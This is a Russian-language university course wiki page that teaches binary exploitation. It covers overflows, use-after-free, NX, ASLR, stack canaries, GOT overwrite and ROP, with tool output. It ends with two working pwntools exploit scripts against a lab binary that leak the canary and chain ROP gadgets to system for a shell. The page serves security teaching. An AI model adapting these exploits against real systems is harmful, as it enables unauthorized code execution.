Введение в практическую безопасность (2019)/Бинарная эксплуатация

Материал из SecSem Wiki
Перейти к навигации Перейти к поиску

Уязвимости

Переполнение буфера

Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции gets, strcpy, а также такое встречается и в пользовательском коде.

Техника эксплуатации сильно зависит от того, где произошло переполнение.

  • Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.
  • Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.
  • Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором[1][2][3].

Buffer over-read

Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.

Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг wikipedia:Heartbleed.

Uninitialized memory read

Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.

Integer overflow

Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.

В следующем примере сумма len1+len2 может переполниться таким образом, что len1 > len1 + len2 (https://ideone.com/qU4csI):

int foo(int fd) {
    size_t len1 = read_size(fd);
    size_t len2 = read_size(fd);
    char *buf = malloc(len1+len2);
    read_data(fd, buf, len1);
    read_data(fd, buf+len1, len2);
    // ...
}

Поэтому read_data может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.

Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.

Use after free

Как и следует из названия, эта уязвимость возникает, когда память, выделанная malloc, используется после освобождения.

Наиболее серьезные последствия это несет, когда память содержит указатели: часто можно выделить на месте освобожденной памяти строку такого же размера, содержащую в себе запакованный указатель, и получить произвольное чтение или запись по абсолютному адресу.

Средства защиты

В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).

No execute (NX)

Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через malloc или в статический глобальный буфер, при попытке выполнить этот код произойдет SIGSEGV

На уровне пользовательской программы это реализовано флагом prot в системных вызовах mmap и mprotect. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (ld.so) и libc сами выделяют память с правильными правами доступа.

Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на system.

Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы pmap, команды info proc mappings в GDB, или vmmap в GDB+PEDA.

ASLR

Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.

Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции system просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг is_admin): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.

Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция main возвращается куда-то в недра __libc_start_main, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.

Вы можете посмотреть смещения функций в библиотеке при помощи команды nm или pwntools:

$ nm -D ./libc.so.6 | egrep ' (malloc|system)$'
0000000000084130 T malloc
0000000000045390 W system
In [1]: from pwn import *

In [2]: libc = ELF("../pwn_tasks/libc.so.6")
[*] '/home/wgh/secsem2019/pwn_tasks/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

In [3]: print(hex(libc.sym["system"]))
0x45390

Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано 0x00400000.

Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.

$ pwn checksec /bin/bash
[*] '/bin/bash'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Stack canary

Stack canary (-fstack-protector, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.

При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.

В прологе функции за адресом возврата[4] на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.

В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа strcpy.

В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите __readfsqword(0x28u), можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.

Техники эксплуатации

Перезапись GOT

В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).

Эта таблица содержит адреса библиотечных функций, которые требуются данной программе[5]. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.

Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа free, strlen, и т.д.: их удобно переписывать на адрес system.

Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.

Так как GOT обычно находится перед секциями .data и .bss, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.

Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):

% ~/.local/bin/pwn checksec /bin/cat
[*] '/bin/cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Return-oriented programming

Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.

В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. one gadget RCE в libc).

Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на ret.

Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:

$ ~/.local/bin/pwn disasm -c amd64 5FC3
   0:    5f                       pop    rdi
   1:    c3                       ret
$ ~/.local/bin/pwn disasm -c amd64 415FC3
   0:    41 5f                    pop    r15
   2:    c3                       ret
$ ~/.local/bin/ropper --file example_1.5_gets
...
0x0000000000400ba3: pop rdi; ret;
0x0000000000400ba1: pop rsi; pop r15; ret;
...

Например, нужно вызвать функцию по адресу 0xdeadbeef функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: 0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций ret и pop.

Пример эксплоита

Эксплоит для ./example_1.5_gets:

#!/usr/bin/env python2

from pwn import *

# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal
# or just run in tmux and everything will work
context.terminal = ["xterm", "-e"]

p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"])

gdb.attach(p,
    "b * 0x400B2D"        
)

p.sendline("128")
p.sendline("aaaa")

#p.interactive()

p.recvuntil("Hello, ")

data = p.recvuntil("Enter password")

print hexdump(data)

canary = data[40:48]

payload = ""
payload += "A" * 40
payload += canary
payload += "A" * 24
    
payload += p64(0x0000000000400ba3) # pop rdi
payload += p64(0x6020B0) # -> rdi
payload += p64(0x4009B0) # read_line
payload += p64(0x0000000000400ba3) # pop rdi
payload += p64(0x6020B0) # -> rdi
payload += p64(0x400B33) # system

p.sendline(payload)

p.sendline("sh")

p.sendline("id")

p.interactive()

Инструменты

pwntools

pwntools - удобная библиотека-фреймворк для написания эксплоитов.

http://docs.pwntools.com/en/stable/index.html

Эксплоит для примера example_1.5_gets, разбираемого на задании (Media:2019 pwn samples.zip):

#!/usr/bin/env python2

from pwn import *

# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal
# or just run in tmux and everything will work
#context.terminal = ["xterm", "-e"]

p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"])

#gdb.attach(p) # <- uncomment to enable debugger

p.sendline("128")
p.sendline("aaaa")

#p.interactive()

p.recvuntil("Hello, ")

data = p.recvuntil("Enter password")

print hexdump(data)

canary = data[40:48]

payload = ""
payload += "A" * 40
payload += canary
payload += "A" * 24
payload += p64(0x400B33) # <- try to set it to 0xdeadbeef and see what happens in debugger

p.sendline(payload)

p.interactive()

Примечания

  1. https://sourceware.org/glibc/wiki/MallocInternals
  2. https://github.com/shellphish/how2heap
  3. Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.
  4. Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.
  5. Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.